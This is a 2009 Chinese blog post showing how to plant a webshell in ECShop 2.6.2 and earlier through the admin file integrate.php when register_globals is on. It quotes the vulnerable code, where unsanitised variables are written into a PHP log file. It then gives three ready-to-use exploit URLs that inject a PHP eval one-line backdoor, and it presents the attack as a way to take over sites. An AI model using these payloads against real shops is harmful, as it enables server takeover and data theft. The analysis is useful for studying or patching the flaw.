夜火博客

ECShop网店系统< =V2.6.2 后台拿webshell

2009-04-28
漏洞信息
ECShop
webshell
漏洞信息
3分钟
462字

ECShop是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。(官方介绍)

ECSHOP前段时间出了个注射漏洞:http://bbs.wolvez.org/topic/67/,拿后台权限应该没有问题,但文章没有提及如何ECShop网店系统< =V2.6.2 后台拿webshell。昨天可乐在t00ls.Net上发帖问如何拿shell,无聊中我baidu、 google了下,网上貌似没有拿shell的办法。好久没读代码了,无聊中下了ECSHOP最新版(V2.6.2)的源码过来读,很庆幸,给我找到一个可以直接写shell的文件。与注射一样,同样是个变化未初始化导致的问题,于是,同样只能用在register_globals为on的环境下。

integrate.php第740行起:

1
if ($_REQUEST['act'] == 'sync')
2
{
3
$size = 100;
4
5
......
6
7
$tasks = array();
8
if ($task_del > 0)
9
{
10
$tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'<span id="task_del">' . $_LANG['task_uncomplete'] . '<span>');
11
$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2";
12
$del_list = $db->getCol($sql);//$del_list未初始化
13
}
14
15
if ($task_rename > 0)
38 collapsed lines
16
{
17
$tasks[] = array('task_name'=>sprintf($_LANG['task_rename'], $task_rename),'task_status'=>'<span id="task_rename">' . $_LANG['task_uncomplete'] . '</span>');
18
$sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3";
19
$rename_list = $db->getAll($sql);//$rename_list未初始化
20
}
21
22
if ($task_ignore >0)
23
{
24
$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4";
25
$ignore_list = $db->getCol($sql);//$ignore_list未初始化
26
}
27
28
......
29
30
/* 保存修改日志 */
31
$fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
32
$log = '';
33
if (isset($del_list))
34
{
35
$log .= '$del_list=' . var_export($del_list,true) . ';';
36
}
37
if (isset($rename_list))
38
{
39
$log .= '$rename_list=' . var_export($rename_list, true) . ';';
40
}
41
if (isset($ignore_list))
42
{
43
$log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
44
}
45
//未做过滤,直接写log
46
fwrite($fp, $log);
47
fclose($fp);
48
49
$smarty->assign('tasks', $tasks);
50
$smarty->assign('ur_here',$_LANG['user_sync']);
51
$smarty->assign('size', $size);
52
$smarty->display('integrates_sync.htm');
53
}

$del_list、$rename_list、$ignore_list均没有初始化,于是,均可以直接写shell。

利用方法:

1
http://www.oldjun.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>
2
http://www.oldjun.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>
3
http://www.oldjun.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>三个链接,随便输入一个就可以了,生成http://www.oldjun.com/data/integrate__log.php,就是一句话小马了~

From:www.oldjun.com

本文标题:ECShop网店系统< =V2.6.2 后台拿webshell
文章作者:夜火
发布时间:2009-04-28